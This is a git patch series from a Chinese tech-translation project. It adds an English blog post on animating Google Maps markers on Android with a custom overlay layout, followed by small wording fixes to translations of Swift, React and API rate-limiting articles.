diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
new file mode 100644
index 00000000000..2779a51c920
--- /dev/null
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -0,0 +1,832 @@
+> * 原文地址：[Workcation App – Part 2. Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
+> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+#  Workcation App – Part 2. Animating Markers with MapOverlayLayout #
+
+Welcome to the second of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
+
+Part 1: [Fragment’s custom transition
+](https://www.thedroidsonroids.com/?p=5054)
+
+Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout)
+ 
+Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+
+Link for project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+
+Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+
+# Prelude #
+
+A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083) 
+
+GIF 1 *“The animation”*
+
+
+# Let’s start! #
+
+As we can see in the GIF above, there is a lot of going on.
+
+1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+
+Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover the map loading and mysterious MapWrapperLayout. Stay tuned!
+
+# The Problem #
+
+So the next step in my development was to load the map to show all of the markers provided by the “API” (simple singleton parsing JSON from assets).  Fortunately, it’s been already described in the [previous post](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition#preloading_map). The second thing we need to do is to load markers with fade/scale animation. Easy, right? Not really.
+
+Unfortunately, the Google Maps API only allows us to pass BitmapDescriptor as an icon of the Marker. This is how it’s done:
+
+```
+Java
+
+GoogleMap map=...// get a map.
+
+   // Add a marker at San Francisco with an azure colored marker.
+
+   Marker marker=map.add(newMarkerOptions()
+
+       .position(newLatLng(37.7750,122.4183))
+
+       .title("San Francisco")
+
+       .snippet("Population: 776733"))
+
+       .icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));
+```
+
+As you can see on the [animation gif](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation), we have to implement scale/fade in animation on loading, scale up/scale down animation while scrolling RecyclerView and fade out when entering details layout. It would be much easier with the Animation/ViewPropertyAnimator API available. Do we have a solution for that? Yes we have!
+
+## MapOverlayLayout ##
+
+So what is the solution? It’s rather simple, however, it took me a while to figure this out. We need to add a MapOverlayLayout over the SupportMapFragment from GoogleMapsApi. With a projection pulled out of the map (a projection is used to translate between on-screen location and geographic coordinates on the surface of the Earth, via
+
+MapOverlayLayout is a custom FrameLayout with the same dimensions as the SupportMapFragment. When the map is loaded, we can pass a reference to the MapOverlayLayout and use it to add custom views with animation, move them along with the screen gestures, etc. And of course, we can do what we need – add Markers (now the custom views) with scale/fade animation, hide them, make the “pulse” animation while scrolling RecyclerView.
+
+## MapOverlayLayout – the setup ##
+
+So how to setup the MapOverlayLayout to cooperate with SupportMapFragment and GoogleMap?
+
+First, let’s look at the DetailsFragment XML:
+
+```
+
+<android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
+
+    android:layout_width="match_parent"
+
+    android:layout_height="match_parent"
+
+    android:orientation="vertical">
+
+ 
+
+    <fragment
+
+        android:id="@+id/mapFragment"
+
+        class="com.google.android.gms.maps.SupportMapFragment"
+
+        android:layout_width="match_parent"
+
+        android:layout_height="match_parent"
+
+        android:layout_marginBottom="@dimen/map_margin_bottom"/>
+
+ 
+
+    <com.droidsonroids.workcation.common.maps.PulseOverlayLayout
+
+        android:id="@+id/mapOverlayLayout"
+
+        android:layout_width="match_parent"
+
+        android:layout_height="match_parent"
+
+        android:layout_marginBottom="@dimen/map_margin_bottom">
+
+ 
+
+        <ImageView
+
+            android:id="@+id/mapPlaceholder"
+
+            android:layout_width="match_parent"
+
+            android:layout_height="match_parent"
+
+            android:transitionName="@string/mapPlaceholderTransition"/>
+
+ 
+
+        </com.droidsonroids.workcation.common.maps.PulseOverlayLayout>
+
+    ...
+
+</android.support.design.widget.CoordinatorLayout>
+```
+
+As we can see above, there is a PulseOverlayLayout with same dimensions as SupportMapFragment placed underneath. The PulseOverlayLayout inherits from the MapOverlayLayout and adds some specific logic for the app purpose (for example adding start and finish markers to the layout after clicking on the RecyclerView item, creating PulseMarkerView – custom views I will describe later in the post).  There is also an ImageView inside the layout – that’s the placeholder we use to create fragment enter transition I described [here](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition#enter_transition). And that’s all the work for XML! Let’s move on to another piece 0f code – the DetailsFragment itself.
+
+Let’s move on to another piece 0f code – the DetailsFragment itself.
+
+```
+publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmentPresenter>
+
+        implementsDetailsFragmentView,OnMapReadyCallback{
+
+    publicstaticfinalStringTAG=DetailsFragment.class.getSimpleName();
+
+ 
+
+    @BindView(R.id.recyclerview)RecyclerView recyclerView;
+
+    @BindView(R.id.container)FrameLayout containerLayout;
+
+    @BindView(R.id.mapPlaceholder)ImageView mapPlaceholder;
+
+    @BindView(R.id.mapOverlayLayout)PulseOverlayLayout mapOverlayLayout;
+
+ 
+
+    @Override
+
+    publicvoidonViewCreated(finalView view,@Nullable finalBundle savedInstanceState){
+
+        super.onViewCreated(view,savedInstanceState);
+
+        setupBaliData();
+
+        setupMapFragment();
+
+    }
+
+ 
+
+    privatevoidsetupBaliData(){
+
+        presenter.provideBaliData();
+
+    }
+
+ 
+
+    privatevoidsetupMapFragment(){
+
+        ((SupportMapFragment)getChildFragmentManager().findFragmentById(R.id.mapFragment)).getMapAsync(this);
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidonMapReady(finalGoogleMap googleMap){
+
+        mapOverlayLayout.setupMap(googleMap);
+
+        setupGoogleMap();
+
+    }
+
+ 
+
+    privatevoidsetupGoogleMap(){
+
+        presenter.moveMapAndAddMarker();
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidprovideBaliData(finalList<Place>places){
+
+        baliPlaces=places;
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidmoveMapAndAddMaker(finalLatLngBounds latLngBounds){
+
+        mapOverlayLayout.moveCamera(latLngBounds);
+
+        mapOverlayLayout.setOnCameraIdleListener(()->{
+
+            for(inti=0;i<baliPlaces.size();i++){
+
+                mapOverlayLayout.createAndShowMarker(i,baliPlaces.get(i).getLatLng());
+
+            }
+
+            mapOverlayLayout.setOnCameraIdleListener(null);
+
+        });
+
+        mapOverlayLayout.setOnCameraMoveListener(mapOverlayLayout::refresh);
+
+    }
+
+}
+```
+
+As we can see above – the map is loaded exactly the same as in the previous article, with *onMapReady* method. After receiving this callback, we are able to update maps bounds, add markers to MapOverlayLayout and set proper listeners.
+
+In the following code, we are moving the camera to the bounds that will show us all of the markers. Next, when camera finishes moving, we are creating markers and showing them on the map. After that, we set OnCameraIdleListener to null. It is because we don’t want to add markers when we move the camera. In the last line of code, we are setting OnCameraMoveListener to refresh all of the Markers positions on the screen.
+
+```
+@Override
+
+    publicvoidmoveMapAndAddMaker(finalLatLngBounds latLngBounds){
+
+        mapOverlayLayout.moveCamera(latLngBounds);
+
+        mapOverlayLayout.setOnCameraIdleListener(()->{
+
+            for(inti=0;i<baliPlaces.size();i++){
+
+                mapOverlayLayout.createAndShowMarker(i,baliPlaces.get(i).getLatLng());
+
+            }
+
+            mapOverlayLayout.setOnCameraIdleListener(null);
+
+        });
+
+        mapOverlayLayout.setOnCameraMoveListener(mapOverlayLayout::refresh);
+
+    }
+```
+
+## MapOverlayLayout – how does it work? ##
+
+So how it actually works?
+
+With a projection pulled out of the map (a projection is used to translate between on-screen location and geographic coordinates on the surface of the Earth, via [*documentation*](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)) we are able to get x and y values of the Marker and use them to place Custom View in the place of the Marker on the MapOverlayLayout.
+
+This approach allows us to use f.e. ViewPropertyAnimator API with custom views to animate them.
+
+```
+publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
+
+ 
+
+    protectedList<V>markersList;
+
+    protectedPolyline currentPolyline;
+
+    protectedGoogleMap googleMap;
+
+    protectedArrayList<LatLng>polylines;
+
+ 
+
+    publicMapOverlayLayout(finalContext context){
+
+        this(context,null);
+
+    }
+
+ 
+
+    publicMapOverlayLayout(finalContext context,finalAttributeSet attrs){
+
+        super(context,attrs);
+
+        markersList=newArrayList<>();
+
+    }
+
+ 
+
+    protectedvoidaddMarker(finalVview){
+
+        markersList.add(view);
+
+        addView(view);
+
+    }
+
+ 
+
+    protectedvoidremoveMarker(finalVview){
+
+        markersList.remove(view);
+
+        removeView(view);
+
+    }
+
+ 
+
+    publicvoidshowMarker(finalintposition){
+
+        markersList.get(position).show();
+
+    }
+
+ 
+
+    privatevoidrefresh(finalintposition,finalPoint point){
+
+        markersList.get(position).refresh(point);
+
+    }
+
+ 
+
+    publicvoidsetupMap(finalGoogleMap googleMap){
+
+        this.googleMap=googleMap;
+
+    }
+
+ 
+
+    publicvoidrefresh(){
+
+        Projection projection=googleMap.getProjection();
+
+        for(inti=0;i<markersList.size();i++){
+
+            refresh(i,projection.toScreenLocation(markersList.get(i).latLng()));
+
+        }
+
+    }
+
+ 
+
+    publicvoidsetOnCameraIdleListener(finalGoogleMap.OnCameraIdleListener listener){
+
+        googleMap.setOnCameraIdleListener(listener);
+
+    }
+
+ 
+
+    publicvoidsetOnCameraMoveListener(finalGoogleMap.OnCameraMoveListener listener){
+
+        googleMap.setOnCameraMoveListener(listener);
+
+    }
+
+ 
+
+    publicvoidmoveCamera(finalLatLngBounds latLngBounds){
+
+        googleMap.moveCamera(CameraUpdateFactory.newLatLngBounds(latLngBounds,150));
+
+    }
+
+}
+```
+
+The methods used in the *moveMapAndAddMarker* method in DetailsFragment are visible above. We can see setters for CameraListeners, *refresh* method for updating the Marker position on the MapOverlayLayout; *addMarker* and *removeMarker* methods,  which are adding MarkerView to the layout and also to the list. With this approach, the MapOverlayLayout have references to all of the views added to the MapOverlayLayout. At the top of the class, we can see that we have to make our custom views to inherit from the MarkerView. It is an abstract class that inherits from View class and looks like this:
+
+```
+publicabstractclassMarkerViewextendsView{
+
+ 
+
+    protectedPoint point;
+
+    protectedLatLng latLng;
+
+ 
+
+    privateMarkerView(finalContext context){
+
+        super(context);
+
+    }
+
+ 
+
+    publicMarkerView(finalContext context,finalLatLng latLng,finalPoint point){
+
+        this(context);
+
+        this.latLng=latLng;
+
+        this.point=point;
+
+    }
+
+ 
+
+    publicdoublelat(){
+
+        returnlatLng.latitude;
+
+    }
+
+ 
+
+    publicdoublelng(){
+
+        returnlatLng.longitude;
+
+    }
+
+ 
+
+    publicPoint point(){
+
+        returnpoint;
+
+    }
+
+ 
+
+    publicLatLng latLng(){
+
+        returnlatLng;
+
+    }
+
+ 
+
+    publicabstractvoidshow();
+
+ 
+
+    publicabstractvoidhide();
+
+ 
+
+    publicabstractvoidrefresh(finalPoint point);
+
+}
+```
+
+With *show, hide* and *refresh* abstract methods we can specify the way the Marker will appear, disappear or refresh. It also needs the Context, LatLng and Point. Let’s look into our implementation:
+
+```
+publicclassPulseMarkerViewextendsMarkerView{
+
+    privatestaticfinalintSTROKE_DIMEN=2;
+
+ 
+
+    privateAnimation scaleAnimation;
+
+    privatePaint strokeBackgroundPaint;
+
+    privatePaint backgroundPaint;
+
+    privateStringtext;
+
+    privatePaint textPaint;
+
+    privateAnimatorSet showAnimatorSet,hideAnimatorSet;
+
+ 
+
+    publicPulseMarkerView(finalContext context,finalLatLng latLng,finalPoint point){
+
+        super(context,latLng,point);
+
+        this.context=context;
+
+        setVisibility(View.INVISIBLE);
+
+        setupSizes(context);
+
+        setupScaleAnimation(context);
+
+        setupBackgroundPaint(context);
+
+        setupStrokeBackgroundPaint(context);
+
+        setupTextPaint(context);
+
+        setupShowAnimatorSet();
+
+        setupHideAnimatorSet();
+
+    }
+
+ 
+
+    publicPulseMarkerView(finalContext context,finalLatLng latLng,finalPoint point,finalintposition){
+
+        this(context,latLng,point);
+
+        text=String.valueOf(position);
+
+    }
+
+ 
+
+    privatevoidsetupHideAnimatorSet(){
+
+        Animator animatorScaleX=ObjectAnimator.ofFloat(this,View.SCALE_X,1.0f,0.f);
+
+        Animator animatorScaleY=ObjectAnimator.ofFloat(this,View.SCALE_Y,1.0f,0.f);
+
+        Animator animator=ObjectAnimator.ofFloat(this,View.ALPHA,1.f,0.f).setDuration(300);
+
+        animator.addListener(newAnimatorListenerAdapter(){
+
+            @Override
+
+            publicvoidonAnimationStart(finalAnimator animation){
+
+                super.onAnimationStart(animation);
+
+                setVisibility(View.INVISIBLE);
+
+                invalidate();
+
+            }
+
+        });
+
+        hideAnimatorSet=newAnimatorSet();
+
+        hideAnimatorSet.playTogether(animator,animatorScaleX,animatorScaleY);
+
+    }
+
+ 
+
+    privatevoidsetupSizes(finalContext context){
+
+        size=GuiUtils.dpToPx(context,32)/2;
+
+    }
+
+ 
+
+    privatevoidsetupShowAnimatorSet(){
+
+        Animator animatorScaleX=ObjectAnimator.ofFloat(this,View.SCALE_X,1.5f,1.f);
+
+        Animator animatorScaleY=ObjectAnimator.ofFloat(this,View.SCALE_Y,1.5f,1.f);
+
+        Animator animator=ObjectAnimator.ofFloat(this,View.ALPHA,0.f,1.f).setDuration(300);
+
+        animator.addListener(newAnimatorListenerAdapter(){
+
+            @Override
+
+            publicvoidonAnimationStart(finalAnimator animation){
+
+                super.onAnimationStart(animation);
+
+                setVisibility(View.VISIBLE);
+
+                invalidate();
+
+            }
+
+        });
+
+        showAnimatorSet=newAnimatorSet();
+
+        showAnimatorSet.playTogether(animator,animatorScaleX,animatorScaleY);
+
+    }
+
+ 
+
+    privatevoidsetupScaleAnimation(finalContext context){
+
+        scaleAnimation=AnimationUtils.loadAnimation(context,R.anim.pulse);
+
+        scaleAnimation.setDuration(100);
+
+    }
+
+ 
+
+    privatevoidsetupTextPaint(finalContext context){
+
+        textPaint=newPaint();
+
+        textPaint.setColor(ContextCompat.getColor(context,R.color.white));
+
+        textPaint.setTextAlign(Paint.Align.CENTER);
+
+        textPaint.setTextSize(context.getResources().getDimensionPixelSize(R.dimen.textsize_medium));
+
+    }
+
+ 
+
+    privatevoidsetupStrokeBackgroundPaint(finalContext context){
+
+        strokeBackgroundPaint=newPaint();
+
+        strokeBackgroundPaint.setColor(ContextCompat.getColor(context,android.R.color.white));
+
+        strokeBackgroundPaint.setStyle(Paint.Style.STROKE);
+
+        strokeBackgroundPaint.setAntiAlias(true);
+
+        strokeBackgroundPaint.setStrokeWidth(GuiUtils.dpToPx(context,STROKE_DIMEN));
+
+    }
+
+ 
+
+    privatevoidsetupBackgroundPaint(finalContext context){
+
+        backgroundPaint=newPaint();
+
+        backgroundPaint.setColor(ContextCompat.getColor(context,android.R.color.holo_red_dark));
+
+        backgroundPaint.setAntiAlias(true);
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidsetLayoutParams(finalViewGroup.LayoutParams params){
+
+        FrameLayout.LayoutParams frameParams=newFrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT,FrameLayout.LayoutParams.WRAP_CONTENT);
+
+        frameParams.width=(int)GuiUtils.dpToPx(context,44);
+
+        frameParams.height=(int)GuiUtils.dpToPx(context,44);
+
+        frameParams.leftMargin=point.x-frameParams.width/2;
+
+        frameParams.topMargin=point.y-frameParams.height/2;
+
+        super.setLayoutParams(frameParams);
+
+    }
+
+ 
+
+    publicvoidpulse(){
+
+        startAnimation(scaleAnimation);
+
+    }
+
+ 
+
+    @Override
+
+    protectedvoidonDraw(finalCanvas canvas){
+
+        drawBackground(canvas);
+
+        drawStrokeBackground(canvas);
+
+        drawText(canvas);
+
+        super.onDraw(canvas);
+
+    }
+
+ 
+
+    privatevoiddrawText(finalCanvas canvas){
+
+        if(text!=null&&!TextUtils.isEmpty(text))
+
+            canvas.drawText(text,size,(size-((textPaint.descent()+textPaint.ascent())/2)),textPaint);
+
+    }
+
+ 
+
+    privatevoiddrawStrokeBackground(finalCanvas canvas){
+
+        canvas.drawCircle(size,size,GuiUtils.dpToPx(context,28)/2,strokeBackgroundPaint);
+
+    }
+
+ 
+
+    privatevoiddrawBackground(finalCanvas canvas){
+
+        canvas.drawCircle(size,size,size,backgroundPaint);
+
+    }
+
+ 
+
+    publicvoidsetText(Stringtext){
+
+        this.text=text;
+
+        invalidate();
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidhide(){
+
+        hideAnimatorSet.start();
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidrefresh(finalPoint point){
+
+        this.point=point;
+
+        updatePulseViewLayoutParams(point);
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidshow(){
+
+        showAnimatorSet.start();
+
+    }
+
+ 
+
+    publicvoidshowWithDelay(finalintdelay){
+
+        showAnimatorSet.setStartDelay(delay);
+
+        showAnimatorSet.start();
+
+    }
+
+ 
+
+    publicvoidupdatePulseViewLayoutParams(finalPoint point){
+
+        this.point=point;
+
+        FrameLayout.LayoutParams params=newFrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT,FrameLayout.LayoutParams.WRAP_CONTENT);
+
+        params.width=(int)GuiUtils.dpToPx(context,44);
+
+        params.height=(int)GuiUtils.dpToPx(context,44);
+
+        params.leftMargin=point.x-params.width/2;
+
+        params.topMargin=point.y-params.height/2;
+
+        super.setLayoutParams(params);
+
+        invalidate();
+
+    }
+
+}
+```
+ 
+This is PulseMarkerView class which inherits from MarkerView. In the constructor, we are setting up the AnimatorSets for showing, hiding and “pulsing”. In overridden methods from MarkerView, we are simply starting specific AnimatorSet. There is also *updatePulseViewLayoutParams* method which updates the position of the PulseViewMarker on the screen. The rest is drawing on the canvas with Paints created in the constructor.
+
+This is the effect:
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/load_markers_pulse.gif?x77083)
+
+*Loading Markers and scaling on scroll*
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/moving_map.gif?x77083)
+
+*Refreshing the markers position while moving the map*
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_map.gif?x77083)
+
+*Zooming the map*
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_pulsing.gif?x77083)
+
+*Zooming the map and scaling Markers while scrolling*
+
+# Conclusion #
+
+As we can see, there is a big advantage from this approach – we can use the power of the Custom Views widely. Also, there is a very little delay when we move the map and refresh Markers position. I think it is a little price we have to pay compared to the advantages we have from this solution.
+
+Thanks for reading! Next part will be published on Tuesday 14.03. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From adf3e3b054653fdce74b9e0c6370088252abba42 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Thu, 4 May 2017 10:56:30 +0800
Subject: [PATCH 328/638] Update swift-lazy-initialization-with-closures.md

---
 TODO/swift-lazy-initialization-with-closures.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index e93564305a1..44c9698a70c 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -12,7 +12,7 @@
 
 （图为苹果的 Magic Keyboard 2 与 Magic Mouse 2）
 
-*亲爱的读者你们好！我是 Bob，很高兴能在这篇文章中与你们相遇！如你想加入我的邮件列表，获取更多学习 iOS 开发的文章，请点击*[*这儿*][5]*注册，很快就能完成的哦 :)*
+**亲爱的读者你们好！我是 Bob，很高兴能在这篇文章中与你们相遇！如你想加入我的邮件列表，获取更多学习 iOS 开发的文章，请点击**[**这儿**][5]**注册，很快就能完成的哦 :)**
 
 ### 动机
 
@@ -37,9 +37,9 @@ let makeBox: UIView = {
 
 为了让你能轻松愉快地和我一起完成这篇教程，我强烈推荐你先了解下面这几个概念。
 
-1. [*闭包*][6]
-2. [*捕获列表与循环引用 \[weak self]*][7]
-3. *面向对象程序设计*
+1. [**闭包**][6]
+2. [**捕获列表与循环引用 \[weak self\]** ][7]
+3. **面向对象程序设计**
 
 ### 创建 UI 组件
 
@@ -102,7 +102,7 @@ func createButton(title: String, borderWidth: Double, backgrounColor, ...) -> Bu
 
 在我们使用”非常规“方法创建 UI 组件之前，让我们先回答一下最开始那个读者的问题。`{}`是什么意思，它是一个`计算属性`吗？
 
-*当然不是，它只是一个* ***闭包***。
+**当然不是，它只是一个闭包**。
 
 首先，让我来示范一下如何用闭包来创建一个对象。我们设计一个名为`Human`的结构：
 
@@ -125,7 +125,7 @@ let createBob = { () -> Human in
 let babyBob = createBob() // "Born 1996"
 ```
 
-*如果你不熟悉这段语法，请先停止阅读这篇文章，去看看* [*Fear No Closure with Bob*][8] *充充电吧。*
+**如果你不熟悉这段语法，请先停止阅读这篇文章，去看看** [**Fear No Closure with Bob**][8] **充充电吧。**
 
 解释一下，`createBob` 是一个类型为 `()-> Human` 的闭包。你已经通过调用 `createBob()` 创建好了一个 `babyBob` 实例。
 
@@ -235,7 +235,7 @@ rightCornerButton.layer.masksToBounds = true
 
 尽管使用闭包创建对象要多出几行，但是比起要在 `rightCornerButton` 或者 `leftCornerButton` 后面狂加属性，我还是更喜欢在 `button` 后面加属性。
 
-*实际上如果按钮的命名特别详细时，用闭包创建对象还可以少几行。*
+**实际上如果按钮的命名特别详细时，用闭包创建对象还可以少几行。**
 
 **恭喜你，你已经完成了我们的第一个目标**
 
@@ -269,7 +269,7 @@ problem().complexNumber // 现在回返回1
 
 `lazy var` 经常用于数据库排序或者从后端取数据，因为你并不想在创建对象的时候就把所有东西都计算、排序。
 
-*实际上，由于对象太大了导致 RAM 撑不住，你的手机就会崩溃。*
+**实际上，由于对象太大了导致 RAM 撑不住，你的手机就会崩溃。**
 
 ### 应用
 

From 0c3bb7b08b474b13ef8e446292b5cf423dd933f7 Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Thu, 4 May 2017 11:08:25 +0800
Subject: [PATCH 329/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B93?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index d5e223f963a..9be7f2039d8 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -20,10 +20,10 @@
 
 ## 什么是函数作为子组件的组件？ ##
 
-“函数作为子组件的组件”是接收一个函数当作父组件的子组件组件。这种模式的实施和执行得益于 React 的 property types。
+“函数作为子组件的组件”是接收一个函数当作子组件的组件。这种模式的实施和执行得益于 React 的 property types。
 
 ```
-classMyComponentextendsReact.Component{   
+class MyComponent extends React.Component{   
   render() {  
     return (  
         <div>
@@ -69,7 +69,7 @@ Ratio 组件将使用设备的宽度，监听 resize 事件并将宽度、高度
 首先我们从函数作为子类组件的组件的代码片段开始，这片段在所有子组件函数中都是常见的，它只是让 Comsumer 知道我们期望一个函数作为子组件，而不是 React 节点。
 
 ```
-classRatioextendsReact.Component{  
+class Ratio extends React.Component{  
   render() {  
     return (  
         {this.props.children()}  
@@ -86,7 +86,7 @@ Ratio.propTypes = {
 接下来让我们设计 API ，我们想要一个 X Y 轴的比率，然后我们使用当前的宽度来计算，可以设置一些内部 state 来管理宽度和高度，无论我们是否已经计算了。此外，也该让 propTypes 和 defaultProps 在使用组件时发挥点作用。
 
 ```
-classRatioextendsReact.Component{  
+class Ratio extends React.Component{  
 
   constructor() {  
     super(...arguments);  
@@ -117,10 +117,10 @@ Ratio.defaultProps = {
 
 ```
 
-实际上我们没有做任何有趣的事情，让我们来添加一些事件监听，并计算实际宽度（根据我们比率的变化）：
+实际上我们还没有做什么有趣的事情，让我们来添加一些事件监听，并计算实际宽度（根据我们比率的变化）：
 
 ```
-classRatioextendsReact.Component{
+class Ratio extends React.Component{
 
   constructor() {
     super(...arguments);
@@ -220,7 +220,7 @@ render() {
 </Ratio>
 ```
 
-同时，在另一个文件中，有人决定使用它来设置CSS属性。
+同时，在另一个文件中，有人决定使用它来设置 CSS 属性。
 
 ```
 <Ratio>
@@ -255,13 +255,13 @@ MyComponent.SomeContant = 'SCUBA';
 
 ```
 
-然后被高阶组件封装,
+然后被高阶组件封装，
 
 ```
 exportdefault connect(...., MyComponent);
 
 ```
-.
+
 和你的常量说再见吧。因为如果没有高阶组件提供的函数，你将再也不能访问到这个常量。哭。
 
 #### 总结 ####

From 0cc3ed692cc81f79846e089bd12831733d4ac406 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Thu, 4 May 2017 11:10:00 +0800
Subject: [PATCH 330/638] Fixed typo

---
 TODO/swift-lazy-initialization-with-closures.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 44c9698a70c..100b89ac291 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -241,7 +241,7 @@ rightCornerButton.layer.masksToBounds = true
 
 ### 懒加载的应用
 
-辛苦了！现在让我们来看看这个教程的第二个目标把。
+辛苦了！现在让我们来看看这个教程的第二个目标吧。
 
 你可能看过与下面类似的代码：
 

From 083d809f0e976a79ea8a60642898a6d08937310d Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Wed, 3 May 2017 20:18:15 -0700
Subject: [PATCH 331/638] translation v2

---
 TODO/rate-limiters.md | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/rate-limiters.md b/TODO/rate-limiters.md
index 373704a132e..9d9182df8fe 100644
--- a/TODO/rate-limiters.md
+++ b/TODO/rate-limiters.md
@@ -1,15 +1,15 @@
 > * 原文地址：[Scaling your API with rate limiters](https://stripe.com/blog/rate-limiters)
 > * 原文作者：[Paul Tarjan](https://stripe.com/about#pt)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：鲁辰(https://github.com/1992chenlu)
-> * 校对者：
+> * 译者：
+> * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen), [GangsterHyj](https://github.com/GangsterHyj)
 
 # [使用速率限制扩展你的 API](/blog/rate-limiters) #
 
 
-对于所有的网络应用程序和 API 来说，可利用性和可靠性都是至关重要的。如果你是一个 API 提供者，那么很有可能你经历过对服务质量造成影响的、未预见的流量增长，它有可能会导致对所有用户服务中断。
+可用性和可靠性对于所有 web 应用和 API 来说都是至关重要的。如果你是一个 API 提供者，那么可能你遇到过未预见的影响你服务质量的流量增长，甚至会导致你的服务中断。
 
-这种现象最初发生时，在基础设施中增加容量以承载用户增长是一种合理的解决方式。但是，对于运行在生产环境的 API，不仅要使用类似[idempotency](/blog/idempotency)的技术以确保健壮性，还需要为扩展建立基础，并保证一个异常用户不论是否故意都无法影响它的可利用性。
+这种现象最初发生时，在基础设施中增加容量以承载用户增长是一种合理的解决方式。但是，对于运行在生产环境的 API，不仅要使用类似[idempotency](/blog/idempotency)的技术以确保健壮性，还需要为扩展建立基础，并保证一个异常用户不论是否故意都无法影响服务的可利用性。
 
 下面这些情况中，速率限制可以让你的 API 更可靠：
 
@@ -19,13 +19,13 @@
 - 系统内部发生一些问题，不能为所有正常请求提供服务，需要放弃一些低优先级的请求。
 
 
